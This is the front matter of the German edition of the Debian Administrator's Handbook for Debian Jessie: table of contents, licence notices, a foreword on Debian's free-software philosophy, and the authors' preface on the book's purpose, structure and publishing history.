Das Debian Administrationshandbuch

Inhaltsverzeichnis

Einführung

Vorwort

1. Das Debian-Projekt

1.1. Was ist Debian?

1.2. Die Gründungsurkunde

1.3. Das Innenleben des Debian-Projekts

1.4. Neuigkeiten bei Debian verfolgen

1.5. Die Rolle der Distributionen

1.6. Lebenszyklus einer Veröffentlichung

2. Vorstellung der Fallstudie

2.1. Schnell wachsende IT-Bedürfnisse

2.2. Gesamtkonzept

2.3. Warum eine GNU/Linux-Distribution?

2.4. Warum die Debian Distribution?

2.5. Warum Debian Jessie?

3. Untersuchung des bestehenden Setups und Migration

3.1. Koexistenz in gemischten Umgebungen

3.2. Migrationsvorgang

4. Installation

4.1. Installationsmethoden

4.2. Installieren, Schritt für Schritt

4.3. Nach dem ersten Hochfahren

5. Paketierungssystem: Hilfsprogramme und grundlegende Prinzipien

5.1. Struktur eines Binärpakets

5.2. Paket-Meta-Information

5.3. Struktur eines Quellpakets

5.4. Pakete mit dpkg handhaben

5.5. Koexistenz mit anderen Paketierungssystemen

6. Wartung und Aktualisierung: Die APT-Tools

6.1. Befüllen der sources.list Datei

6.2. aptitude, apt-get und apt Befehle

6.3. Der Befehl apt-cache

6.4. Benutzeroberflächen: aptitude, synaptic

6.5. Die Echtheit eines Paketes prüfen

6.6. Von einer Stable Distribution auf die nächste aktualisieren

6.7. Ein System aktuell halten

6.8. Automatische Aktualisierungen

6.9. Pakete suchen

7. Probleme lösen und relevante Informationen finden

7.1. Dokumentationsquellen

7.2. Allgemeine Verfahren

8. Basis-Konfigurierung: Netzwerk, Benutzerkonten, Drucken...

8.1. Das System für eine andere Sprache konfigurieren

8.2. Konfigurieren des Netzwerks

8.3. Den Hostnamen einstellen und den Namensservice konfigurieren

8.4. Benutzer- und Gruppendatenbanken

8.5. Konten erstellen

8.6. Shell-Umgebung

8.7. Druckereinrichtung

8.8. Den Boot-Loader konfigurieren

8.9. Weitere Konfigurationen: Zeitsynchronisation, Protokolle, Gemeinsamer Zugang…

8.10. Einen Kernel kompilieren

8.11. Einen Kernel installieren

9. Unix-Dienste

9.1. Systemstart

9.2. Remoteanmeldung

9.3. Berechtigungen verwalten

9.4. Administrations-Schnittstellen

9.5. syslog Systemereignisse

9.6. Der Superserver inetd

9.7. Aufgaben mit cron und atd zeitlich festlegen

9.8. Asynchrone Aufgaben planen: anacron

9.9. Quotas

9.10. Datensicherung

9.11. Wechsel im laufenden Betrieb: hotplug

9.12. Modernes Energiemanagement: Advanced Configuration and Power Interface (ACPI)

10. Netzwerk-Infrastruktur

10.1. Gateway

10.2. Virtual Private Network

10.3. Quality of Service

10.4. Dynamisches Routing

10.5. IPv6

10.6. Domain Name Server (DNS)

10.7. DHCP

10.8. Werkzeuge für die Netzwerk-Diagnose

11. Netzwerkdienste: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

11.1. Mail-Server

11.2. Webserver (HTTP)

11.3. FTP-Dateiserver

11.4. NFS-Dateiserver

11.5. Einrichten von Windows-Freigaben mit Samba

11.6. HTTP/FTP-Proxy

11.7. LDAP-Verzeichnis

11.8. Echtzeit-Kommunikationsdienste

12. Erweiterte Verwaltung

12.1. RAID und LVM

12.2. Virtualisierung

12.3. Automatische Installation

12.4. Überwachung

13. Arbeitsplatzrechner

13.1. Den X11-Server konfigurieren

13.2. Die grafische Schnittstelle anpassen

13.3. Grafische Arbeitsflächen

13.4. E-Mail

13.5. Web-Browser

13.6. Entwicklung

13.7. Gemeinschaftliche Arbeit

13.8. Office-Pakete

13.9. Windows emulieren: Wine

13.10. Echtzeit-Kommunikationssoftware

14. Sicherheit

14.1. Festlegen einer Sicherheitsstrategie

14.2. Firewall oder Paketfilter

14.3. Überwachung: Vorbeugung, Entdeckung, Abschreckung

14.4. Einführung in AppArmor

14.5. Einführung in SELinux

14.6. Weitere sicherheitsbezogene Überlegungen

14.7. Umgang mit einem kompromittierten Rechner

15. Ein Debian-Paket erstellen

15.1. Ein Paket aus seinen Quellen neu erstellen

15.2. Ihr erstes Paket erstellen

15.3. Ein Paket-Depot für APT erstellen

15.4. Paketbetreuer werden

16. Zusammenfassung: Debians Zukunft

16.1. Zukünftige Entwicklungen

16.2. Debians Zukunft

16.3. Die Zukunft des Buches

A. Derivate (Abgeleitete Distributionen)

A.1. Beteiligung und Kooperation

A.2. Ubuntu

A.3. Linux Mint

A.4. Knoppix

A.5. Aptosid und Siduction

A.6. Grml

A.7. Tails

A.8. Kali Linux

A.9. Devuan

A.10. Tanglu

A.11. DoudouLinux

A.12. Raspbian

A.13. und viele mehr

B. Kurzer Förderkurs

B.1. Shell und grundlegende Befehle

B.2. Organisation der Dateisystem-Hierarchie

B.3. Das Innenleben eines Rechners: die verschiedenen beteiligten Schichten

B.4. Einige vom Kernel erledigte Aufgaben

B.5. Die Anwendungsebene

Das Debian Administrationshandbuch

Debian Jessie, von der Entdeckung zur Beherrschung

Raphaël Hertzog
<hertzog@debian.org>

Roland Mas
<lolando@debian.org>

Copyright © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Raphaël Hertzog

Copyright © 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Roland Mas

Copyright © 2012, 2013, 2014, 2015 Freexian SARL

ISBN: 979-10-91414-04-3 (Taschenbuch, englisch)

ISBN: 979-10-91414-05-0 (ebook, englisch)

Dieses Buch ist unter 2 Arten von Benutzungsrechten, welche vereinbar mit den freien Debian Software Richtlinien sind, verfügbar.

Creative Commons Lizenzhinweis:  Dieses Buch unterliegt der Creative Commons Lizenz "Namensnennung-Weitergabe unter gleichen Bedingungen 3.0 Unported (CC BY-SA 3.0) ".

→ http://creativecommons.org/licenses/by-sa/3.0/deed.de

GNU General Public License Hinweis:  Dieses Buch ist freie Dokumentation: Sie können sie weitergeben und / oder unter den Bedingungen der GNU General Public License verändern, entsprechend der Free Software Foundation entweder unter Version 2 der Lizenz oder (nach Ihrer Option) jeder späteren veröffentlichten Version.

Dieses Buch wird in der Hoffnung, dass es nützlich sein wird aber OHNE IRGENDEINE GARANTIE, sogar ohne die implizite Garantie der MARKTGÄNGIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK veröffentlicht. Lesen Sie die GNU General Public License für weitere Details.

Sie sollten eine Kopie der GNU General Public License zusammen mit diesem Programm erhalten haben. Falls nicht, siehe http://www.gnu.org/licenses/.

Zeigen Sie Ihre Anerkennung

Dieses Buch wird unter einer freien Lizenz veröffentlicht, weil wir wollen, dass alle davon profitieren. Nichtsdestoweniger verschlingt seine Pflege viel Zeit und Anstrengungen und wir freuen uns über Anerkennung dafür. Wenn Sie dieses Buch hilfreich finden, könnten Sie doch zu seiner kontinuierlichen Pflege beitragen, entweder durch den Kauf einer Taschenbuchausgabe oder mit einer Spende über die offizielle Website des Buches:

→ http://debian-handbook.info

Zusammenfassung

Dieses Nachschlagewerk präsentiert die Debian-Distribution, von der Erstinstallation bis zur Dienste-Konfiguration.

Einführung

Debian ist ein sehr erfolgreiches Betriebssystem, das in unserer digitalen Welt weiter verbreitet ist, als man allgemein denkt. Das läßt sich anhand weniger Daten zeigen. Während dieses Buch geschrieben wird, ist Debian die populärste GNU/Linux Distribution bei Web-Servern: laut W3Techs werden 10% der Webserver mit Debian betrieben. Überlegen Sie: Wie viele Webseiten haben Sie heute dank Debian schon besucht? Einer der faszinierendsten Einsatzorte ist die Internationale Raumstation (ISS), auf der Debian das Betriebssystem der Wahl ist. Haben Sie die Arbeit der ISS-Astronauten verfolgt? Vielleicht über die Verlautbarungen der NASA oder anderer internationaler Organisationen in den sozialen Netzwerken? Sowohl die eigentliche Arbeit dort oben, als auch die Berichte darüber, wurden durch Debian möglich. Zahlreiche Unternehmen, Universitäten, und öffentliche Verwaltungen verlassen sich bei ihrer täglichen Arbeit auf Debian und stellen Dienstleistungen für Millionen von Nutzern zur Verfügung, auf der ganzen Welt ... und sogar im Weltall!

Aber Debian ist viel mehr als nur ein Betriebssystem, ganz davon abgesehen wie komplex, voller Möglichkeiten und zuverlässig ein solches sein mag. Debian ist eine Vision der Freiheiten die Menschen genießen sollten, die in einer Welt leben in der unsere täglichen Aktivitäten zunehmend von Software abhängt. Debian ist aus der grundlegenden Idee freier Software geboren, dass Menschen die Computer beherrschen sollten und nicht umgekehrt. Menschen mit genügend Softwarekenntnissen sollen in die Lage versetzt werden, die Software die für sie wichtig ist zu zerlegen, zu verändern und neu zusammenzustellen und dies mit anderen zu teilen. Es macht keinen Unterschied, ob die Software für leichtfertige Aktivitäten wie das Hochladen von Katzenfotos ins Internet oder für eventuell lebensrettende Aufgaben wie zum Beispiel das Steuern unserer Autos oder zum Betrieb medizinischer Geräte die uns heilen genutzt wird; wir sollten sie kontrollieren. Auch Menschen ohne tiefere Softwarekenntnisse sollten an dieser Freiheit Gefallen finden: Sie werden in die Lage versetzt, die Überprüfung und Veränderung an Software an diejenigen zu delegieren, die sie selbst auswählen und denen sie vertrauen.

In der Frage der Kontrolle der Maschinen durch die Menschen spielen freie Betriebssysteme eine grundlegende Rolle: Man kann einen Computer nicht kontrollieren, wenn man das Betriebssystem nicht kontrolliert. Darauf gründet Debians Hauptziel: Das beste freie Betriebssystem zu erstellen. Seit mehr als 20 Jahren hat Debian nicht nur ein freies Betriebssystem entwickelt sondern auch für freie Software geworben. So hat Debian einen hohen Standard für die Anwälte freier Software rund um die Welt geschaffen. Debians Entscheidungen zu Softwarelizenzen zum Beispiel werden regelmässig von internationalen Standardisierungsgremien, Verwaltungen und anderen freien Softwareprojekten untersucht wenn es darum geht zu entscheiden, ob etwas "frei genug" ist oder nicht.

Aber diese politische Sicht ist nicht ausreichend um Debians Einzigartigkeit zu erklären. Debian ist auch ein ganz besonderes soziales Experiment, das stark an seiner Unabhängigkeit festgemacht wird. Denken Sie für einen Moment an andere etablierte freie Software Distributionen, oder sogar an beliebte proprietäre Betriebssysteme. Es besteht die Möglichkeit dass Sie für jedes eine Verbindung zu einem grossen Unternehmen finden das die Hauptentwicklung vorantreibt oder zu aller mindeste der Vertreter aller Nicht-Entwicklungstätigkeiten darstellt. Debian ist da anders. Mit dem Debian Projekt übernehmen Ehrenamtliche selbst die Verantwortung über alle Aktivitäten, die notwendig sind um Debian gesund und munter zu halten. Die Bandbreite dieser Aktivitäten ist verblüffend: von der Übersetzung bis zur Systemadministration, vom Marketing bis zum Management, von der Organisation von Konferenzen bis zu Design, von Buchführung bis zu rechtlichen Angelegenheiten, ... ganz zu schweigen von Softwarepaketierung und Entwicklung! Debianmitarbeiter kümmern sich um alles.

Als erstes Resultat dieser radikalen Unabhängigkeit braucht und vertraut Debian auf eine sehr differenzierte Gemeinschaft von Freiwilligen. Jede Fähigkeit in einer der oben genannten oder anderen denkbaren Bereichen kann in Debian eingebracht werden und wird genutzt um das Projekt zu verbessern. Als zweites Resultat der Unabhängigkeit von Debian kann man darauf vertrauen, dass Debian nicht von wirtschaftlichen Interessen einzelner Unternehmen abgängt — Interessen, bei denen nicht garantiert ist dass sie immer mit dem Ziel übereinstimmen, die Kontrolle der Maschinen durch den Menschen zu fördern was zu viele aktuelle Beispiele in den Techniknachrichten bezeugen.

Ein letzter Aspekt trägt zu Debians Einzigartigkeit bei: die Art auf der das soziale Engagement gestartet ist. Trotz der volkstümlichen Meinung dass Debian Bürokratisch sei, ist die Entscheidungsfindung in Debian in der Tat stark dezentralisiert. Es gibt klar definierte Verantwortungsbereiche im Projekt. Verantwortliche in diesen Bereichen dürfen ihr eigenes Ding machen. Solange sie die Qualitätsanforderungen der Gemeinschaft erfüllen, kann niemand ihnen was sie tun sollen oder wie sie ihren Job machen. Wenn Sie Einflußdarauf nehmen möchten, wie etwas in Debian umgesetzt wird, müssen Sie selbst das Risiko eingehen und die Verantwortung dafür auf ihre eigenen Schultern laden. Diese seltsame Form der Leistungsgesellschaft — die wir mitunter do-ocracy nennen — ermächtigt in starkem Maße die Mitarbeiter. (Anm. d. Ü: Wortspiel do-ocracy beschreibt eine Regierungsform die denjenigen die Macht haben gibt, die etwas erschaffen) Jeder mit genügent Fähigkeiten, Zeit und Motivation kann effektiven Einfluß auf die Führung eines Projekts nehmen. Dies bezeugt eine Gesamtheit von etwa 1000 offiziellen Mitgliedern des Debian Projekts und mehreren tausend Unterstützern in der ganzen Welt. Da wundert es nicht, dass Debian oft zugeschrieben wird das größte gemeinschaftsbasierte freie Softwareprojekt zu sein.

Also, Debian ist ziemlich einzigartig. Sind wir die Einzigen, denen das Auffällt? Definitiv nicht. Laut DistroWatch gibt es etwa 300 aktive Freie-Software-Distributionen. Die Hälfte davon (etwa 140) sind Debian-Derivate. Das bedeutet, dass sie mit Debian starten, es — gewöhnlich durch Hinzufügen, Ändern und Neuerstellen von Paketen — an die Bedürfnisse ihrer Benutzer anpassen und das Ergebnis veröffentlichen. Im Wesentlichen nutzen Derivate die von freier Software garantierten Freiheiten der Veränderung und Neuveröffentlichung nicht nur einzelner Softwareteile, sondern der Distribution als Ganzes. Das Potential das sich hier auf neue Freie Software Benutzer und Unterstützer ausstreckt durch die Vermittlung von derivativen Distributionen ist enorm. Wir glauben, dass es diesem blühendem Ecosystem zu verdanken ist, dass freie Software es heutzutage in Bereichen mit proprietärer Software aufnehmen kann, welche wir in der Vergangenheit als schwer zu erobern angesehen haben, wie beispielsweise große Desktop-Deployments. Debian sitzt an der Basis des größten Ökosystems freier Software Distributionen die existieren: Selbst wenn Sie nicht Debian direkt nutzen, und sogar wenn Ihr Softwaredistributor Ihnen nichts davon gesagt hat, sind die Chancen hoch, dass Sie schon jetzt von der Arbeit der Debian-Community profitieren.

Aber Debians Einzigartigkeit führt mitunter zu unerwarteten Konsequenzen. Ein Ergebnis der Vision digitaler Freiheiten von Debian war die Notwendigkeit neu zu definieren, was wir Software nennen. Das Debian Projekt hat schon vor Längerem realisiert, dass man als Teil des Betriebssystems auch eine Menge Software unabhängiges Material verteilen muss: Musik, Bilder, Dokumentation, Rohdaten, Firmware, usw. Aber wie passt freie Software zu diesem Material? Sollen wir unterschiedliche Anforderungen haben oder soll jedes Material den gleichen hohen Anforderungen an Freiheit gestellt werden? Das Debianprojekt hat sich für letzteres entschieden: Jedwedes Material, das mit Debian veröffentlicht wird, soll den Nutzern die gleichen Freiheiten bieten. Eine solch radikale philosophische Position hat weitreichende Auswirkungen. Es bedeutet, dass wir keine unfreie Firmware verbreiten dürfen, oder künstlerische Darstellung die nicht auch kommerziell genutzt werden sollen, noch Bücher die aufgrund der (nach volkstümlicher Meinung) guten Reputation eines Autors/Verlags nicht verändert werden dürfen.

Das Buch, das Sie gerade lesen, ist anders als andere Bücher. Es ist ein Freies Buch, ein Buch, das den Freiheits-Standards für die Dinge des täglichen digitalen Lebens von Debian folgt. Lange Zeit war es ein klares Manko von Debian, dass derartige Bücher kaum verfügbar waren. Deshalb gab es auch wenig Literatur, die dazu beitragen konnte, Debian und die dahinter stehenden Wertevorstellungen bekannt zu machen und gleichzeitig selbst diesen Werten zu genügen und ihre Vorteile aufzuzeigen. Aber dadurch hatten wir ironischerweise auch wenig geeignetes Material, das wir als Teil von Debian selbst ausliefern konnten. Dies ist das erste ernst zu nehmende Buch, das diesen Missstand angeht. Sie können dieses Buch mit apt-get install installieren, Sie können es weiter vertreiben, Sie können es abwandeln oder, besser noch, Fehlermeldungen oder Änderungen einreichen, damit andere in Zukunft von Ihrem Beitrag profitieren können. Die "Instandhalter" dieses Buches — gleichzeitig seine Autoren — sind langjährige Mitglieder des Debian Projekts, die den Grundsatz der "freien Verfügbarkeit", der jeden Aspekt von Debian durchzieht, verstanden haben und aus erster Hand wissen, was es bedeutet, Verantwortung für wichtige Teile von Debian zu übernehmen. Mit der Veröffentlichung dieses Freien Buches leisten sie einmal mehr einen wertvollen Beitrag für die Debian Gemeinde.

Wir hoffen, dass Sie genau so viel Freude an diesem Grundprinzip der Freien Lektüre von Debian haben wie wir.

Oktober 2015

Stefano Zacchiroli (Debian-Projektleiter 2010-2013), Lucas Nussbaum (Debian-Projektleiter 2013-2015) und Neil McGovern (Debian-Projektleiter von 2015 bis mindestens heute in dieser Funktion)

Vorwort

Linux hat in den letzten Jahren an Bedeutung gewonnen und seine zunehmende Beliebtheit bewegt mehr und mehr Nutzer zum Umstieg. Der erste Schritt dahin ist die Auswahl der Distribution. Das ist eine wichtige Entscheidung, denn jede Distribution hat ihre Besonderheiten, und die richtige Entscheidung zu Beginn kann bei einer späteren Migration Kosten vermeiden.

ZURÜCK ZU DEN ANFÄNGEN Linux-Distribution, Linux-Kernel

Streng genommen ist Linux nur ein Kernel, das Kernstück jener Software, die zwischen der Hardware und den Anwendungen vermittelt.

Eine “Linux-Distribution” ist ein vollständiges Betriebssystem. Normalerweise enthält es den Linux-Kernel, ein Installationsprogramm und die meisten wichtigen Anwendungen sowie andere Software, die man benötigt, um aus einem Computer ein tatsächlich nützliches Werkzeug zu machen.

Debian GNU/Linux ist eine “allgemeine” Distribution, die für die meisten Benutzer passt. Der Zweck dieses Buches ist es, die vielen Möglichkeiten aufzuzeigen, sodass Sie sich bei der Wahl gut informiert entscheiden können.

1. Warum dieses Buch?

KULTUR Kommerzielle Distributionen

Die meisten Linux-Distributionen werden von gewinnorientierten Unternehmen herausgegeben, die sie entwickeln und unter einer Art von Geschäftsmodell vertreiben. Beispielsweise Ubuntu, hauptsächlich von Canonical Ltd. entwickelt; Mandriva Linux, von der französischen Firma Mandriva SA; und Suse Linux, welches von Novell gewartet und kommerziell bereitgestellt wird.

Am anderen Ende des Spektrums findet man Projekte wie Debian und die Apache Software Foundation (welche die Entwicklung des Apache Web Server vorantreibt). Debian ist vor allem ein Projekt aus der Welt der freien Software, umgesetzt von Freiwilligen, die über das Internet zusammenarbeiten. Auch wenn Einige an Debian als Teil ihrer bezahlten Arbeit in verschiedenen Unternehmen entwickeln, ist das Projekt nicht als Ganzes einer einzelnen Firma zuzuordnen, auch hat kein einziges Unternehmen stärkeren Einfluß auf die Projektangelegenheiten als die freiwilligen Helfer.

Über Linux hat es ziemlich viele Medienberichte gegeben, was jedoch meistens jenen Distributionen hilft, die von einer Marketingabteilung unterstützt werden - also firmenbetriebenen Distributionen (Ubuntu, Red Hat, Suse, Mandriva usw.) Trotzdem ist Debian weit davon entfernt, eine Nischendistribution zu sein: Verschiedene Studien haben über die Jahre gezeigt, dass Debian die am häufigsten eingesetzte Distribution sowohl auf Servern als auch auf dem Desktop ist (fast die Hälfte der antwortenden Firmen hat mindestens einen Debian-Server).

→ http://www.heise.de/open/artikel/Eingesetzte-Produkte-224518.html

→ http://w3techs.com/blog/entry/debian_ubuntu_extend_the_dominance_in_the_linux_web_server_market_at_the_expense_of_red_hat_centos

Der Zweck dieses Buches ist es, Ihnen bei der Entdeckung dieser Distribution zu helfen. Wir hoffen, die Erfahrungen weitergeben zu können, die wir seit 1998 (Raphaël) und 2000 (Roland) als Entwickler und Mitarbeiter im Projekt gesammelt haben. Mit etwas Glück wird unser Enthusiasmus auf Sie überspringen und Sie arbeiten eines Tages bei uns mit …

Die erste Ausgabe dieses Buches (2004) wurde erstellt, um eine große Lücke zu schließen; es war das erste französischsprachige Buch, das sich ausschließlich mit Debian beschäftigte. Zu dieser Zeit wurden viele andere Bücher über das Thema sowohl für französisch- als auch für englischsprachige Leser geschrieben. Unglücklicherweise wurde fast keines davon aktualisiert, und über die Jahre finden wir uns wieder in der gleichen Situation, dass es nur sehr wenige gute Bücher über Debian gibt. Wir hoffen, dass dieses Buch, das ein neues Leben mit seiner Übersetzung ins Deutsche begonnen hat (Anmerk. des Übersetzers: Im Original steht hier englische Ausgabe) diese Lücke schließt und vielen Nutzern helfen wird.

2. Für wen ist dieses Buch?

Wir haben versucht, dieses Buch für viele Kategorien von Lesern nützlich zu gestalten. Zuerst werden Systemadministratoren (sowohl Anfänger als auch Erfahrene) Erklärungen über die Installation und das Ausrollen von Debian auf vielen Computern finden. Sie werden auch einen flüchtigen Eindruck der Dienste erhalten, die bei Debian verfügbar sind, zusammen mit passenden Anweisungen zur Konfiguration und der Beschreibung der Besonderheiten der Distribution. Das Verständnis der Entwicklungsmechanismen von Debian wird es ihnen ermöglichen, bei unvorhergesehenen Problemen Lösungen zu finden, wohl wissend, dass sie immer Hilfe innerhalb der Community finden können.

Benutzer einer anderen Linux-Distribution oder einer anderen Unix-Variante werden die Eigenheiten von Debian entdecken und dabei sehr schnell handlungsfähig werden, während sie gleichzeitig von den einzigartigen Vorteilen dieser Distribution profitieren.

Schließlich werden Leser, die bereits einiges Wissen über Debian haben und mehr über die Gemeinschaft dahinter erfahren möchten, ihre Erwartungen erfüllt sehen. Dieses Buch sollte ihnen die Entscheidung erleichtern, uns als Mitarbeitende zu unterstützen.

3. Allgemeines Vorgehen

Alle allgemeinen Dokumentationen, die Sie über GNU/Linux finden, treffen ebenso auf Debian zu, da Debian die am meisten verbreitete freie Software enthält. Allerdings bringt die Distribution viele Verbesserungen, ein Grund, warum wir uns entschieden haben, vorwiegend den “Debian-Weg” zu beschreiben.

Es mag interessant sein, den Debian-Empfehlungen zu folgen, aber es ist noch besser, ihre Begründung zu verstehen. Deshalb werden wir uns nicht auf praktische Erklärungen beschränken; wir werden ebenso die Projektarbeiten beschreiben, um so ein verständliches und beständiges Wissen zu vermitteln.

4. Gliederung des Buches

Der Gliederung und den Zielen des französischen Verlegers Eyrolles-Kollektion “Administrator's Handbook” folgend, geht es in diesem Buch um Fallstudien und dabei werden sowohl Unterstützung als auch Veranschaulichung für alle behandelten Themen geboten.

NOTE Website, E-Mail-Adressen der Autoren

Dieses Buch verfügt über eine eigene Website, die zahlreiche nützliche Informationen beherbergt, die Hilfreich sein können. Vor allem enthält sie eine Online-Version des Buches mit anklickbaren Links sowie mögliche Fehlerhinweise. Besuchen Sie die Website und hinterlassen Sie eine Nachricht. Wir freuen uns darauf, Ihre Kommentare oder Unterstützungstipps zu lesen. Senden Sie uns eine Mail an <hertzog@debian.org> (Raphaël) und <lolando@debian.org> (Roland).

→ http://debian-handbook.info/

Kapitel 1 konzentriert sich auf die allgemeine Vorstellung des Debian-Projektes und beschreibt dessen Ziele und die Organisation. Diese Informationen sind wichtig, weil sie den Rahmen definieren, den andere Kapitel dann mit mehr anschaulicher Information vervollständigen.

Die Kapitel 2 und 3 bieten eine umfassende Beschreibung der Fallstudie. An diesem Punkt können Neulinge sich die Zeit nehmen, Anhang B zu lesen, wo sie einen kurzen Abriss finden, der eine Reihe von grundlegenden Informatikprinzipien erläutert sowie die Konzepte darstellt, die für jedes Unix-System grundlegend sind.

Um mit unserem eigentlichen Thema voranzukommen, werden wir natürlich mit dem Installationsprozess starten (Kapitel 4); Kapitel 5 und 6 werden die grundlegenden Werkzeuge bekannt machen, die jeder Debian-Administrator nutzen wird, beispielsweise jene der APT-Familie, die in hohem Maße für die außerordentlich gute Bewertung der Distribution verantwortlich ist. Diese Kapitel sind natürlich in keiner Weise nur den Fachleuten vorbehalten, da jeder daheim sein eigener Administrator ist.

Kapitel 7 wird ein wichtiger Einschub sein. Es beschreibt die Abläufe, um die Dokumentation effizient zu nutzen und schnell ein Verständnis für zu lösende Probleme zu bekommen.

Die nächsten Kapitel beherbergen einen detaillierten Streifzug durch das System, angefangen bei der Infrastruktur und den Diensten (Kapitel 8 bis 10) und von da an stufenweise nach oben zu den Benutzeranwendungen in Kapitel 13. Kapitel 13 behandelt fortgeschrittene Themen, die in erster Linie Administratoren einer größeren Anzahl Computer (inklusive Servern) betreffen, während Kapitel 14 eine kurze Einführung in das umfangreichere Thema der Computersicherheit darstellt und ein paar Hinweise gibt, um die häufigsten Probleme zu vermeiden.

Kapitel 15ist für Administratoren, die noch weiter gehen und ihre eigenen Debian-Pakete erstellen wollen.

BEGRIFFDebian-Paket

Ein Debian-Paket ist ein Archiv, das alle Dateien enthält, die man zur Installation einer Software benötigt. Es ist normalerweise eine Datei mit der Endung .deb und es wird mit dem dpkg-Kommando verarbeitet. Auch als Binärpaket bezeichnet, enthält es Dateien, die direkt genutzt werden können (beispielsweise Programme oder Dokumentation). Im Gegensatz dazu enthält ein Quellpaket den Quellcode für die Software und die Anweisungen, die benötigt werden, um daraus ein Binärpaket zu bauen.

Die vorliegende Version ist bereits die siebte Version des Buches, wenn man die ersten vie Versionen brücksichtigt, die nur in Französisch erschienen sind. Dieses Buch widmet sich Debian 8 mit dem Code-Namen Jessie. Abgesehen von anderen Änderungen deckt Debian nun zwei witere Architekturen ab — arm64 für 64-bit ARM Prozessoren, und ppc64el für Little-Endian 64-bit PowerPC Prozessoren (von IBM entwickelt und für diverse Hersteller über die OpenPOWER Foundation zertifiziert). Auf der anderen Seite hat man die Weiterentwicklung für einige Architekturen aufgrund fehlender Freiwilliger eingestellt: (sparc, ia64) (was darauf zurückzuführen ist, dass die zunehmend veraltete Hardware nicht mehr interessant genug ist). Einige Architekturen sind noch verfügbar (im Unstable Zweig der Distribution) erhalten aber nicht das für Produktion geeignet Zertifikat: hurd-i386, kfreebsd-i386, kfreebsd-amd64. Sämtliche enthaltenen Pakete wurden offensichtlich aktualisiert, auch der GNOME Desktop, der nun in der Version 3.14 vorliegt. Noch Interessanter ist, dass zwei weitere Desktops zur Verfügung stehen: Cinnamon (ein Fork des GNOME der für und von Linux Mint entwickelt wurde) und MATE (eine Weiterentwicklung von GNOME 2.x).

Wir haben ein paar Notizen und Anmerkungen an die Seitenränder hinzugefügt. Sie besitzen unterschiedliche Rollen: Sie können die Aufmerksamkeit auf einen schwierigen Punkt lenken, ein Fallbeispiel vervollständigen, einige Begriffe definieren oder als Merker dienen. Hier ist ein Liste der gebräuchlichsten Randbemerkungen:

- GRUNDLAGEN: Eine Erinnerung für Wissen, das als bekannt vorausgesetzt wird;

- FACHWISSEN: Definiert einen technischen Ausdruck, manchmal speziell für Debian;

- COMMUNITY: Weist auf wichtige Leute oder Rollen innerhalb des Projektes hin;

- POLICY: Eine Regel oder Empfehlung, die aus der Debian Policy abgeleitet ist. Dieses Dokument ist die Grundlage für das Projekt und beschreibt, wie Software zu paketieren ist. Die Teile der Policy, auf die wir in diesem Buch eingehen, bringen dem Leser direkten Nutzen (beispielsweise zu wissen, dass die Policy die Orte für Dokumentation und Beispiel standardisiert, macht es einfach, diese auch in einem neuen Paket zu finden).

- WERKZEUG: Beschreibt ein wichtiges Werkzeug oder einen wichtigen Dienst;

- PRAXIS: Theorie und Praxis passen nicht immer zusammen; diese Randbemerkung enthält einen Ratschlag aus unserer Erfahrung. Sie kann auch genaue und anschauliche Beispiele geben;

- Andere, mehr oder weniger häufig benutzte Randbemerkungen sprechen für sich: KULTUR, TIPP, VORSICHT, ERWEITERT, SICHERHEIT usw.

5. Dank

5.1. Ein wenig Geschichte

Im Jahr 2003 hat Nat Makarévitch Raphaël kontaktiert, weil er ein Buch über Debian im Rahmen der Kollektion Cahier de l'Admin (Administratorenhandbuch) publizieren wollte, die er für Eyrolles, einen führenden Herausgeber von technischen Büchern in Frankreich, betreute. Raphaël sagte sofort zu. Die erste Ausgabe kam am 14. Oktober 2004 heraus und war ein großer Erfolg — sie war nach knapp vier Monaten bereits ausverkauft.

Seitdem haben wir sechs weitere Ausgaben des französischen Buches herausgegeben, eine für jedes Debian-Release. Roland, der angefangen hatte mein Buch zu korrigieren, wurde immer mehr sein Co-Autor.

Obwohl wir offensichtlich mit dem Erfolg des Buches zufrieden sein durften, haben wir immer gehofft, dass Eyrolles einen anderen internationalen Herausgeber davon überzeugen würde, es ins Englische zu übersetzen. Wir haben zahlreiche Mitteilungen erhalten, wie das Buch den Leuten geholfen hat, mit Debian anzufangen, und wir waren scharf darauf, dass das Buch mehr Menschen in der gleichen Weise hilft.

Leider wollte keiner der englischsprachigen Verlage, die wir kontaktiert hatten, das Risiko der Übersetzung und Veröffentlichung des Buches auf sich nehmen. Ohne uns von diesem kleinen Rückschlag aufhalten zu lassen, verhandelten wir mit dem französischen Herausgeber Eyrolles und bekamen die notwendigen Rechte zurück, das Buch selbst ins Englische zu übersetzen und herauszugeben. Dank einer erfolgreichen Crowdfunding-Kampagne arbeiteten wir zwischen Dezember 2011 und May 2012 an der Übersetzung. Das „Debian Administrator's Handbook“ war geboren und wurde unter einer freien Lizenz veröffentlicht!

Obwohl dies ein wichtiger Meilenstein war, war uns klar, dass die Geschichte erst zu Ende ist, wenn die offizielle französische Übersetzung des englischen Buches zur Verfügung gestellt werden kann. Dies war zu der Zeit nicht möglich, weil die französische Ausgabe weiterhin von Eyrolles unter einer nicht freien kommerziellen Lizenz vertrieben wurde.

Die Veröffentlichung von Debian 7 im Jahre 2013 eröffnete eine gute Gelegenheit, mit Eyrolles über einen neuen Vertrag zu sprechen. Wir konnten sie überzeugen, dass eine Lizenz, die sich enger an die Prinzipien von Debian anlehnt, mehr Erfolg haben würde. Das war nicht einfach und wir kamen überein, eine weitere Finanzierungsrunde mittels Crowdfunding zu starten um einen Teil der Kosten zu decken und so die Risiken zu minimieren. Die Aktion war wiederum ein großer Erfolg und im Juli 2013 erweiterten wir das Debian Administrator Handbuch um eine französische Übersetzung.

5.2. Die Geburt des englischen Buches

Versetzen wir uns zurück ins Jahr 2011, als wir gerade die notwendigen Rechte bekamen, um eine englische Übersetzung des französischen Buches zu erstellen. Wir sind auf der Suche nach Möglichkeiten, dies zu verwirklichen.

Ein Buch mit 450 Seiten zu übersetzen, ist ein beachtlicher Aufwand, der mehrere Monate Arbeit erfordert. Für Selbstständige wie uns ist es unabdingbar, ein minimales Einkommen sicher zu stellen, um die notwendige Zeit für die Fertigstellung des Projekts aufzubringen. Darum haben wir eine Massenfinanzierungskampagne auf Ulule gestartet und die Leute aufgefordert, Geld für das Projekt zur Verfügung zu stellen.

→ http://www.ulule.com/debian-handbook/

